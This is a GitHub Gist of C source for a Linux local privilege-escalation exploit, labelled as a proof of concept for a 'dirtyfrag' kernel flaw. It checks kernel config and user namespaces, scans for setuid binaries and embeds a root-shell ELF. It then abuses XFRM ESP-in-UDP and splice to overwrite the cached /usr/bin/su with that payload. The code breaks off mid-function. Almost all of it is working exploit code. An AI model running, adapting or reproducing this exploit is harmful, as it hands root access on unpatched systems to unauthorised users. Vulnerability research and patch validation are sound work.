Created
May 26, 2026 12:10
-
-
Save spynika/9c98aca892e18aff2b87d04aa69cc7d7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <stdint.h> | |
| #include <unistd.h> | |
| #include <fcntl.h> | |
| #include <errno.h> | |
| #include <sched.h> | |
| #include <signal.h> | |
| #include <sys/syscall.h> | |
| #include <sys/types.h> | |
| #include <sys/stat.h> | |
| #include <sys/socket.h> | |
| #include <sys/uio.h> | |
| #include <sys/ioctl.h> | |
| #include <sys/wait.h> | |
| #include <netinet/in.h> | |
| #include <arpa/inet.h> | |
| #include <net/if.h> | |
| #include <linux/if.h> | |
| #include <linux/netlink.h> | |
| #include <linux/rtnetlink.h> | |
| #include <linux/xfrm.h> | |
| #include <pty.h> | |
| #include <poll.h> | |
| #include <termios.h> | |
| #include <sys/utsname.h> | |
| #include <ftw.h> | |
| #ifndef UDP_ENCAP | |
| #define UDP_ENCAP 100 | |
| #endif | |
| #ifndef UDP_ENCAP_ESPINUDP | |
| #define UDP_ENCAP_ESPINUDP 2 | |
| #endif | |
| #ifndef SOL_UDP | |
| #define SOL_UDP 17 | |
| #endif | |
| #define ENC_PORT 4500 | |
| #define SEQ_VAL 200 | |
| #define REPLAY_SEQ 100 | |
| #define PATCH_OFFSET 0 | |
| #define PAYLOAD_LEN 192 | |
| #define ENTRY_OFFSET 0x78 | |
| #define TOTAL_SAS (PAYLOAD_LEN / 4) | |
| #define SPI_BASE 0xDEADBE10u | |
| static const char *g_target = "/usr/bin/su"; | |
| static unsigned char g_backup[PAYLOAD_LEN]; | |
| static int g_have_backup = 0; | |
| static int g_tty = 0; | |
| static int g_verbose = 0; | |
| static int g_setuid_count = 0; | |
| static int g_exploitable_count = 0; | |
| /* first instructions of embedded shell ELF at file offset 0x78 */ | |
| static const uint8_t su_marker[8] = { | |
| 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, | |
| }; | |
| #define C_RST "\033[0m" | |
| #define C_DIM "\033[2m" | |
| #define C_RED "\033[31m" | |
| #define C_GRN "\033[32m" | |
| #define C_YEL "\033[33m" | |
| #define C_BLU "\033[34m" | |
| #define C_MAG "\033[35m" | |
| #define C_CYN "\033[36m" | |
| #define C_WHT "\033[1;37m" | |
| #define C_BOLD "\033[1m" | |
| #define C(x) (g_tty ? (x) : "") | |
| static void print_banner(void) | |
| { | |
| printf("\n"); | |
| printf("%s", C(C_CYN)); | |
| printf(" ╔═══════════════════════════════════════╗\n"); | |
| printf(" ║ SLEY - CVE-2026-43284 dirtyfrag PoC ║\n"); | |
| printf(" ╚═══════════════════════════════════════╝\n"); | |
| printf("%s\n", C(C_RST)); | |
| } | |
| static void status_line(const char *label, int ok, const char *detail) | |
| { | |
| printf(" %s[%s]%s %-22s", | |
| C(C_DIM), ok ? "+" : "-", C(C_RST), label); | |
| if (detail && detail[0]) | |
| printf(" %s%s%s", ok ? C(C_GRN) : C(C_RED), detail, C(C_RST)); | |
| printf("\n"); | |
| } | |
| static void phase_header(int n, const char *title) | |
| { | |
| printf("%s┌─[%s phase %d%s] %s%s\n", | |
| C(C_CYN), C(C_MAG), n, C(C_CYN), title, C(C_RST)); | |
| } | |
| static int cfg_value_ok(const char *val, const char *expect) | |
| { | |
| if (!val || !*val) | |
| return 0; | |
| if (strcmp(expect, "ym") == 0) | |
| return val[0] == 'y' || val[0] == 'm'; | |
| return strcmp(val, expect) == 0; | |
| } | |
| struct kconfig_req { | |
| const char *key; | |
| const char *expect; | |
| const char *hint; | |
| char val[32]; | |
| int found; | |
| }; | |
| static void scan_kconfig(FILE *f, struct kconfig_req *req, size_t nreq) | |
| { | |
| char line[256]; | |
| for (size_t i = 0; i < nreq; i++) { | |
| req[i].val[0] = '\0'; | |
| req[i].found = 0; | |
| } | |
| while (fgets(line, sizeof(line), f)) { | |
| for (size_t i = 0; i < nreq; i++) { | |
| if (req[i].found) | |
| continue; | |
| size_t klen = strlen(req[i].key); | |
| if (strncmp(line, req[i].key, klen) != 0 || line[klen] != '=') | |
| continue; | |
| const char *v = line + klen + 1; | |
| size_t n = strcspn(v, "\n\r"); | |
| if (n >= sizeof(req[i].val)) | |
| n = sizeof(req[i].val) - 1; | |
| memcpy(req[i].val, v, n); | |
| req[i].val[n] = '\0'; | |
| req[i].found = 1; | |
| } | |
| } | |
| } | |
| static FILE *open_kconfig_gz(const char *src, int *via_popen) | |
| { | |
| static const char *cmds[] = { | |
| "gzip -dc '%s' 2>/dev/null", | |
| "zcat '%s' 2>/dev/null", | |
| NULL, | |
| }; | |
| char cmd[256]; | |
| for (int i = 0; cmds[i]; i++) { | |
| snprintf(cmd, sizeof(cmd), cmds[i], src); | |
| FILE *f = popen(cmd, "r"); | |
| if (f) { | |
| *via_popen = 1; | |
| return f; | |
| } | |
| } | |
| return NULL; | |
| } | |
| static FILE *open_kconfig_source(const char *release, char *label, size_t labellen, | |
| int *via_popen) | |
| { | |
| char path[512]; | |
| FILE *f; | |
| *via_popen = 0; | |
| snprintf(path, sizeof(path), "/boot/config-%s", release); | |
| f = fopen(path, "r"); | |
| if (f) { | |
| snprintf(label, labellen, "%s", path); | |
| return f; | |
| } | |
| snprintf(path, sizeof(path), "/lib/modules/%s/config", release); | |
| f = fopen(path, "r"); | |
| if (f) { | |
| snprintf(label, labellen, "%s", path); | |
| return f; | |
| } | |
| snprintf(path, sizeof(path), "/lib/modules/%s/build/.config", release); | |
| f = fopen(path, "r"); | |
| if (f) { | |
| snprintf(label, labellen, "%s", path); | |
| return f; | |
| } | |
| if (access("/proc/config.gz", R_OK) == 0) { | |
| f = open_kconfig_gz("/proc/config.gz", via_popen); | |
| if (f) { | |
| snprintf(label, labellen, "/proc/config.gz"); | |
| return f; | |
| } | |
| } | |
| return NULL; | |
| } | |
| static void close_kconfig(FILE *f, int via_popen) | |
| { | |
| if (!f) | |
| return; | |
| if (via_popen) | |
| pclose(f); | |
| else | |
| fclose(f); | |
| } | |
| static int check_kernel_config(void) | |
| { | |
| struct utsname uts; | |
| char cfglabel[512]; | |
| int via_popen = 0; | |
| if (uname(&uts) < 0) { | |
| status_line("uname", 0, strerror(errno)); | |
| return -1; | |
| } | |
| phase_header(1, "kernel config preflight"); | |
| FILE *cfg = open_kconfig_source(uts.release, cfglabel, sizeof(cfglabel), &via_popen); | |
| if (!cfg) { | |
| status_line("config file", 0, "not found under /boot, /lib/modules, /proc"); | |
| fprintf(stderr, | |
| "\n%s [!] WSL2: zcat /proc/config.gz | grep -E \"CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=\"%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, "%s [!] or: grep -E \"...\" /boot/config-%s%s\n\n", | |
| C(C_YEL), uts.release, C(C_RST)); | |
| return -1; | |
| } | |
| printf(" %s→%s %s%s%s\n\n", C(C_DIM), C(C_RST), C(C_BLU), cfglabel, C(C_RST)); | |
| status_line("config file", 1, via_popen ? "via gzip/zcat" : "plain text"); | |
| struct kconfig_req req[] = { | |
| { "CONFIG_USER_NS", "y", "required =y" }, | |
| { "CONFIG_XFRM", "y", "required =y" }, | |
| { "CONFIG_INET_ESP", "ym", "required =m or =y" }, | |
| }; | |
| size_t nreq = sizeof(req) / sizeof(req[0]); | |
| int ok_all = 1; | |
| scan_kconfig(cfg, req, nreq); | |
| for (size_t i = 0; i < nreq; i++) { | |
| int ok = req[i].found && cfg_value_ok(req[i].val, req[i].expect); | |
| char detail[128]; | |
| if (req[i].found) | |
| snprintf(detail, sizeof(detail), "= %s (%s)", req[i].val, req[i].hint); | |
| else | |
| snprintf(detail, sizeof(detail), "missing (%s)", req[i].hint); | |
| status_line(req[i].key, ok, detail); | |
| if (!ok) | |
| ok_all = 0; | |
| } | |
| close_kconfig(cfg, via_popen); | |
| printf("\n"); | |
| if (!ok_all) { | |
| fprintf(stderr, "%s [!] kernel does not meet exploit requirements.%s\n", C(C_RED), C(C_RST)); | |
| fprintf(stderr, "%s [!] manual check: zcat /proc/config.gz | grep -E \"CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=\"%s\n\n", | |
| C(C_YEL), C(C_RST)); | |
| return -1; | |
| } | |
| printf("%s kernel options OK.%s\n\n", C(C_GRN), C(C_RST)); | |
| return 0; | |
| } | |
| static void print_sysctl_val(const char *path, const char *name) | |
| { | |
| FILE *f = fopen(path, "r"); | |
| if (!f) | |
| return; | |
| char val[64]; | |
| if (!fgets(val, sizeof(val), f)) { | |
| fclose(f); | |
| return; | |
| } | |
| val[strcspn(val, "\n\r")] = '\0'; | |
| printf(" %s%s%s = %s\n", C(C_DIM), name, C(C_RST), val); | |
| fclose(f); | |
| } | |
| static int check_userns_runtime(void) | |
| { | |
| phase_header(2, "user namespace runtime check"); | |
| printf(" %s→%s unshare(CLONE_NEWUSER | CLONE_NEWNET)%s\n\n", | |
| C(C_DIM), C(C_RST), C(C_DIM)); | |
| if (getuid() == 0) { | |
| status_line("privilege", 0, "running as root — use an unprivileged user for LPE"); | |
| fprintf(stderr, "\n%s [!] Exploit is meant to run as a normal user (uid != 0).%s\n\n", | |
| C(C_YEL), C(C_RST)); | |
| return -1; | |
| } | |
| pid_t pid = fork(); | |
| if (pid < 0) { | |
| status_line("fork", 0, strerror(errno)); | |
| return -1; | |
| } | |
| if (pid == 0) { | |
| if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) | |
| _exit(1); | |
| _exit(0); | |
| } | |
| int st; | |
| if (waitpid(pid, &st, 0) < 0) { | |
| status_line("waitpid", 0, strerror(errno)); | |
| return -1; | |
| } | |
| int ok = WIFEXITED(st) && WEXITSTATUS(st) == 0; | |
| if (!ok) { | |
| status_line("unshare", 0, "Operation not permitted"); | |
| fprintf(stderr, | |
| "\n%s [!] CONFIG_USER_NS=y in /boot/config does not guarantee unprivileged userns at runtime.%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, | |
| "%s [!] This host blocks user namespaces (common on hardened Ubuntu 22.04+ / enterprise VMs).%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, | |
| "%s [!] Changing the setuid target (su/sudo/pkexec) will not help — unshare must succeed first.%s\n", | |
| C(C_YEL), C(C_RST)); | |
| printf("\n %sRelevant sysctls on this host:%s\n", C(C_DIM), C(C_RST)); | |
| print_sysctl_val("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", | |
| "kernel.apparmor_restrict_unprivileged_userns"); | |
| print_sysctl_val("/proc/sys/kernel/unprivileged_userns_clone", | |
| "kernel.unprivileged_userns_clone"); | |
| print_sysctl_val("/proc/sys/user/max_user_namespaces", | |
| "user.max_user_namespaces"); | |
| fprintf(stderr, | |
| "\n%s [!] Lab only (as root): sysctl -w kernel.apparmor_restrict_unprivileged_userns=0%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, | |
| "%s [!] Without userns: this PoC cannot run (see CVE-2026-43500 rxrpc variant).%s\n\n", | |
| C(C_YEL), C(C_RST)); | |
| return -1; | |
| } | |
| status_line("unshare", 1, "user+net namespace available"); | |
| printf("%s runtime userns check OK.%s\n\n", C(C_GRN), C(C_RST)); | |
| return 0; | |
| } | |
| static int skip_tree(const char *path) | |
| { | |
| return strcmp(path, "/proc") == 0 || | |
| strcmp(path, "/sys") == 0 || | |
| strcmp(path, "/dev") == 0 || | |
| strcmp(path, "/run") == 0; | |
| } | |
| static int target_is_exploitable(const char *path) | |
| { | |
| struct stat st; | |
| if (stat(path, &st) < 0 || !S_ISREG(st.st_mode)) | |
| return 0; | |
| if (!(st.st_mode & S_ISUID)) | |
| return 0; | |
| if (access(path, R_OK | X_OK) != 0) | |
| return 0; | |
| int fd = open(path, O_RDONLY); | |
| if (fd < 0) | |
| return 0; | |
| close(fd); | |
| return 1; | |
| } | |
| static int probe_target(const char *path, char *why, size_t whylen) | |
| { | |
| struct stat st; | |
| if (stat(path, &st) < 0) { | |
| snprintf(why, whylen, "missing (%s)", strerror(errno)); | |
| return -1; | |
| } | |
| if (!S_ISREG(st.st_mode)) { | |
| snprintf(why, whylen, "not a regular file"); | |
| return -1; | |
| } | |
| if (!(st.st_mode & S_ISUID)) { | |
| snprintf(why, whylen, "no setuid bit (mode %04o)", st.st_mode & 07777); | |
| return -1; | |
| } | |
| if (access(path, R_OK) != 0) { | |
| snprintf(why, whylen, "not readable (%s)", strerror(errno)); | |
| return -1; | |
| } | |
| if (access(path, X_OK) != 0) { | |
| snprintf(why, whylen, "not executable (%s)", strerror(errno)); | |
| return -1; | |
| } | |
| int fd = open(path, O_RDONLY); | |
| if (fd < 0) { | |
| snprintf(why, whylen, "open(O_RDONLY) denied (%s)", strerror(errno)); | |
| return -1; | |
| } | |
| close(fd); | |
| why[0] = '\0'; | |
| return 0; | |
| } | |
| static int setuid_walk(const char *path, const struct stat *st, int flag, | |
| struct FTW *ftw) | |
| { | |
| (void)ftw; | |
| if (flag == FTW_D && skip_tree(path)) | |
| return FTW_SKIP_SUBTREE; | |
| if (flag != FTW_F) | |
| return 0; | |
| if (!S_ISREG(st->st_mode)) | |
| return 0; | |
| if (!(st->st_mode & S_ISUID)) | |
| return 0; | |
| g_setuid_count++; | |
| int exploitable = target_is_exploitable(path); | |
| if (exploitable) | |
| g_exploitable_count++; | |
| int is_target = (strcmp(path, g_target) == 0); | |
| const char *color = exploitable ? C(C_GRN) : C(C_YEL); | |
| const char *badge = exploitable ? "[+]" : "[~]"; | |
| printf(" %s%02d%s %s%s%s %s%s%s%s\n", | |
| C(C_DIM), g_setuid_count, C(C_RST), | |
| color, badge, C(C_RST), path, | |
| is_target ? " ← target" : "", | |
| exploitable ? "" : " (visible, not usable)", | |
| C(C_RST)); | |
| return 0; | |
| } | |
| static int scan_setuid_binaries(void) | |
| { | |
| phase_header(3, "setuid binary scan"); | |
| printf(" %s→%s find / -perm -4000 -type f 2>/dev/null%s\n\n", | |
| C(C_DIM), C(C_RST), C(C_DIM)); | |
| g_setuid_count = 0; | |
| g_exploitable_count = 0; | |
| int rc = nftw("/", setuid_walk, 32, FTW_PHYS | FTW_MOUNT); | |
| printf("\n"); | |
| if (rc != 0 && rc != EACCES) { | |
| status_line("nftw", 0, strerror(rc > 0 ? rc : errno)); | |
| } | |
| if (g_setuid_count == 0) { | |
| status_line("setuid", 0, "no SUID binaries found"); | |
| return -1; | |
| } | |
| printf("%s found %d setuid binaries, %d exploitable (readable + openable).%s\n", | |
| g_exploitable_count ? C(C_GRN) : C(C_YEL), | |
| g_setuid_count, g_exploitable_count, C(C_RST)); | |
| if (g_exploitable_count == 0) { | |
| fprintf(stderr, | |
| "\n%s [!] SUID files are visible but not readable — typical on shared hosting (CageFS/cPanel).%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, | |
| "%s [!] This exploit must open the target for read (splice). No usable target on this account.%s\n\n", | |
| C(C_YEL), C(C_RST)); | |
| return -1; | |
| } | |
| printf("\n"); | |
| return 0; | |
| } | |
| // minimal x86_64 root-shell ELF, entry=0x400078 | |
| // setgid(0); setuid(0); execve("/bin/sh", NULL, ["TERM=xterm",NULL]) | |
| static const unsigned char shell_elf[PAYLOAD_LEN] = { | |
| 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, | |
| 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, | |
| 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, | |
| 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, | |
| 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, | |
| 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, | |
| 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| }; | |
| static int save_original(const char *path) | |
| { | |
| if (g_have_backup) return 0; | |
| int fd = open(path, O_RDONLY); | |
| if (fd < 0) return -1; | |
| int n = read(fd, g_backup, PAYLOAD_LEN); | |
| close(fd); | |
| if (n != PAYLOAD_LEN) return -1; | |
| g_have_backup = 1; | |
| return 0; | |
| } | |
| static int setup_userns_netns(void) | |
| { | |
| uid_t ruid = getuid(); | |
| gid_t rgid = getgid(); | |
| if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { | |
| fprintf(stderr, "unshare: %s\n", strerror(errno)); | |
| return -1; | |
| } | |
| int fd = open("/proc/self/setgroups", O_WRONLY); | |
| if (fd >= 0) { write(fd, "deny\n", 5); close(fd); } | |
| char buf[128]; | |
| snprintf(buf, sizeof(buf), "0 %u 1", ruid); | |
| fd = open("/proc/self/uid_map", O_WRONLY); | |
| if (fd < 0) return -1; | |
| write(fd, buf, strlen(buf)); close(fd); | |
| snprintf(buf, sizeof(buf), "0 %u 1", rgid); | |
| fd = open("/proc/self/gid_map", O_WRONLY); | |
| if (fd < 0) return -1; | |
| write(fd, buf, strlen(buf)); close(fd); | |
| int s = socket(AF_INET, SOCK_DGRAM, 0); | |
| if (s >= 0) { | |
| struct ifreq ifr; | |
| memset(&ifr, 0, sizeof(ifr)); | |
| strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); | |
| if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { | |
| ifr.ifr_flags |= IFF_UP | IFF_RUNNING; | |
| ioctl(s, SIOCSIFFLAGS, &ifr); | |
| } | |
| close(s); | |
| } | |
| return 0; | |
| } | |
| static void nl_put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) | |
| { | |
| struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); | |
| rta->rta_type = type; | |
| rta->rta_len = RTA_LENGTH(len); | |
| memcpy(RTA_DATA(rta), data, len); | |
| nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); | |
| } | |
| static int add_xfrm_sa(uint32_t spi, uint32_t patch_val) | |
| { | |
| int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); | |
| if (sk < 0) return -1; | |
| struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; | |
| if (bind(sk, (struct sockaddr *)&nl, sizeof(nl)) < 0) { close(sk); return -1; } | |
| char buf[4096]; | |
| memset(buf, 0, sizeof(buf)); | |
| struct nlmsghdr *nlh = (struct nlmsghdr *)buf; | |
| nlh->nlmsg_type = XFRM_MSG_NEWSA; | |
| nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; | |
| nlh->nlmsg_pid = getpid(); | |
| nlh->nlmsg_seq = 1; | |
| nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); | |
| struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); | |
| xs->id.daddr.a4 = inet_addr("127.0.0.1"); | |
| xs->id.spi = htonl(spi); | |
| xs->id.proto = IPPROTO_ESP; | |
| xs->saddr.a4 = inet_addr("127.0.0.1"); | |
| xs->family = AF_INET; | |
| xs->mode = XFRM_MODE_TRANSPORT; | |
| xs->replay_window = 0; | |
| xs->reqid = 0x1234; | |
| xs->flags = XFRM_STATE_ESN; | |
| xs->lft.soft_byte_limit = (uint64_t)-1; | |
| xs->lft.hard_byte_limit = (uint64_t)-1; | |
| xs->lft.soft_packet_limit = (uint64_t)-1; | |
| xs->lft.hard_packet_limit = (uint64_t)-1; | |
| xs->sel.family = AF_INET; | |
| xs->sel.prefixlen_d = 32; | |
| xs->sel.prefixlen_s = 32; | |
| xs->sel.daddr.a4 = inet_addr("127.0.0.1"); | |
| xs->sel.saddr.a4 = inet_addr("127.0.0.1"); | |
| char auth_buf[sizeof(struct xfrm_algo_auth) + 32]; | |
| memset(auth_buf, 0, sizeof(auth_buf)); | |
| struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)auth_buf; | |
| strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name) - 1); | |
| aa->alg_key_len = 32 * 8; | |
| aa->alg_trunc_len = 128; | |
| memset(aa->alg_key, 0xAA, 32); | |
| nl_put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, auth_buf, sizeof(auth_buf)); | |
| char ciph_buf[sizeof(struct xfrm_algo) + 16]; | |
| memset(ciph_buf, 0, sizeof(ciph_buf)); | |
| struct xfrm_algo *ea = (struct xfrm_algo *)ciph_buf; | |
| strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name) - 1); | |
| ea->alg_key_len = 16 * 8; | |
| memset(ea->alg_key, 0xBB, 16); | |
| nl_put_attr(nlh, XFRMA_ALG_CRYPT, ciph_buf, sizeof(ciph_buf)); | |
| struct xfrm_encap_tmpl enc; | |
| memset(&enc, 0, sizeof(enc)); | |
| enc.encap_type = UDP_ENCAP_ESPINUDP; | |
| enc.encap_sport = htons(ENC_PORT); | |
| enc.encap_dport = htons(ENC_PORT); | |
| nl_put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); | |
| struct xfrm_replay_state_esn esn; | |
| memset(&esn, 0, sizeof(esn)); | |
| esn.bmp_len = 1; | |
| esn.oseq = 0; | |
| esn.seq = REPLAY_SEQ; | |
| esn.oseq_hi = 0; | |
| esn.seq_hi = patch_val; | |
| esn.replay_window = 32; | |
| nl_put_attr(nlh, XFRMA_REPLAY_ESN_VAL, &esn, sizeof(esn) + 4); | |
| if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } | |
| char rbuf[4096]; | |
| int n = recv(sk, rbuf, sizeof(rbuf), 0); | |
| close(sk); | |
| if (n < 0) return -1; | |
| struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; | |
| if (rh->nlmsg_type == NLMSG_ERROR) { | |
| struct nlmsgerr *e = NLMSG_DATA(rh); | |
| if (e->error) return -1; | |
| } | |
| return 0; | |
| } | |
| static int do_one_write(const char *path, off_t offset, uint32_t spi) | |
| { | |
| int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); | |
| if (sk_recv < 0) return -1; | |
| int one = 1; | |
| setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); | |
| struct sockaddr_in sa; | |
| memset(&sa, 0, sizeof(sa)); | |
| sa.sin_family = AF_INET; | |
| sa.sin_port = htons(ENC_PORT); | |
| sa.sin_addr.s_addr = inet_addr("127.0.0.1"); | |
| if (bind(sk_recv, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(sk_recv); return -1; } | |
| int encap = UDP_ENCAP_ESPINUDP; | |
| if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } | |
| int sk_send = socket(AF_INET, SOCK_DGRAM, 0); | |
| if (sk_send < 0) { close(sk_recv); return -1; } | |
| if (connect(sk_send, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(sk_send); close(sk_recv); return -1; } | |
| int file_fd = open(path, O_RDONLY); | |
| if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } | |
| int pfd[2]; | |
| if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } | |
| unsigned char hdr[24]; | |
| *(uint32_t *)(hdr + 0) = htonl(spi); | |
| *(uint32_t *)(hdr + 4) = htonl(SEQ_VAL); | |
| memset(hdr + 8, 0xCC, 16); | |
| struct iovec iov = { .iov_base = hdr, .iov_len = sizeof(hdr) }; | |
| if (vmsplice(pfd[1], &iov, 1, 0) != (ssize_t)sizeof(hdr)) | |
| goto fail; | |
| off_t off = offset; | |
| if (splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE) != 16) | |
| goto fail; | |
| ssize_t s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); | |
| usleep(150 * 1000); | |
| close(file_fd); close(pfd[0]); close(pfd[1]); | |
| close(sk_send); close(sk_recv); | |
| return (s == 40) ? 0 : -1; | |
| fail: | |
| close(file_fd); close(pfd[0]); close(pfd[1]); | |
| close(sk_send); close(sk_recv); | |
| return -1; | |
| } | |
| /* corrupt stage error codes (child maps to exit 11..13) */ | |
| #define CORRUPT_ERR_UNSHARE 1 | |
| #define CORRUPT_ERR_XFRM 2 | |
| #define CORRUPT_ERR_WRITE 3 | |
| static int corrupt_su(void) | |
| { | |
| if (setup_userns_netns() < 0) | |
| return CORRUPT_ERR_UNSHARE; | |
| usleep(100 * 1000); | |
| for (int i = 0; i < TOTAL_SAS; i++) { | |
| uint32_t spi = SPI_BASE + (uint32_t)i; | |
| uint32_t val = | |
| ((uint32_t)shell_elf[i * 4 + 0] << 24) | | |
| ((uint32_t)shell_elf[i * 4 + 1] << 16) | | |
| ((uint32_t)shell_elf[i * 4 + 2] << 8) | | |
| ((uint32_t)shell_elf[i * 4 + 3]); | |
| if (add_xfrm_sa(spi, val) < 0) | |
| return CORRUPT_ERR_XFRM; | |
| } | |
| for (int i = 0; i < TOTAL_SAS; i++) { | |
| uint32_t spi = SPI_BASE + (uint32_t)i; | |
| off_t off = PATCH_OFFSET + (off_t)i * 4; | |
| if (do_one_write(g_target, off, spi) < 0) | |
| return CORRUPT_ERR_WRITE; | |
| } | |
| return 0; | |
| } | |
| static const char *corrupt_err_msg(int code) | |
| { | |
| switch (code) { | |
| case CORRUPT_ERR_UNSHARE: return "unshare / uid_map / lo setup failed in child"; | |
| case CORRUPT_ERR_XFRM: return "XFRM SA registration failed (netlink denied?)"; | |
| case CORRUPT_ERR_WRITE: return "splice/UDP 4500 write failed"; | |
| default: return "unknown corrupt error"; | |
| } | |
| } | |
| static int target_already_patched(const char *path) | |
| { | |
| int fd = open(path, O_RDONLY); | |
| if (fd < 0) | |
| return 0; | |
| uint8_t got[8]; | |
| ssize_t n = pread(fd, got, sizeof(got), ENTRY_OFFSET); | |
| close(fd); | |
| if (n != (ssize_t)sizeof(got)) | |
| return 0; | |
| return memcmp(got, su_marker, sizeof(su_marker)) == 0; | |
| } | |
| static int verify_patch(const char *path) | |
| { | |
| int fd = open(path, O_RDONLY); | |
| if (fd < 0) | |
| return -1; | |
| uint8_t got[8]; | |
| if (pread(fd, got, sizeof(got), ENTRY_OFFSET) != (ssize_t)sizeof(got)) { | |
| close(fd); | |
| return -1; | |
| } | |
| close(fd); | |
| return memcmp(got, su_marker, sizeof(su_marker)) == 0 ? 0 : -1; | |
| } | |
| static int run_esp_corrupt_stage(char *detail, size_t dlen) | |
| { | |
| pid_t cpid = fork(); | |
| if (cpid < 0) { | |
| snprintf(detail, dlen, "fork: %s", strerror(errno)); | |
| return -1; | |
| } | |
| if (cpid == 0) { | |
| int rc = corrupt_su(); | |
| _exit(rc == 0 ? 0 : 10 + rc); | |
| } | |
| int wstatus; | |
| if (waitpid(cpid, &wstatus, 0) < 0) { | |
| snprintf(detail, dlen, "waitpid: %s", strerror(errno)); | |
| return -1; | |
| } | |
| if (!WIFEXITED(wstatus)) { | |
| snprintf(detail, dlen, "child killed by signal %d", WTERMSIG(wstatus)); | |
| return -1; | |
| } | |
| int est = WEXITSTATUS(wstatus); | |
| if (est != 0) { | |
| snprintf(detail, dlen, "%s", corrupt_err_msg(est - 10)); | |
| return -1; | |
| } | |
| if (verify_patch(g_target) < 0) { | |
| snprintf(detail, dlen, | |
| "page cache unchanged at 0x%x (patched kernel / LSM / container?)", | |
| ENTRY_OFFSET); | |
| return -1; | |
| } | |
| detail[0] = '\0'; | |
| return 0; | |
| } | |
| static int target_is_su_binary(const char *path) | |
| { | |
| const char *base = strrchr(path, '/'); | |
| base = base ? base + 1 : path; | |
| return strcmp(base, "su") == 0; | |
| } | |
| static void exec_patched_target(void) | |
| { | |
| char *envp[] = { "TERM=xterm", NULL }; | |
| execle(g_target, g_target, NULL, envp); | |
| _exit(127); | |
| } | |
| static void exec_su_login(void) | |
| { | |
| static const char *paths[] = { | |
| "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, | |
| }; | |
| for (int i = 0; paths[i]; i++) | |
| execl(paths[i], "su", "-", (char *)NULL); | |
| execlp("su", "su", "-", (char *)NULL); | |
| _exit(127); | |
| } | |
| static int run_root_pty(void) | |
| { | |
| int master = posix_openpt(O_RDWR | O_NOCTTY); | |
| if (master < 0) | |
| return -1; | |
| if (grantpt(master) < 0 || unlockpt(master) < 0) { | |
| close(master); | |
| return -1; | |
| } | |
| char *slave_name = ptsname(master); | |
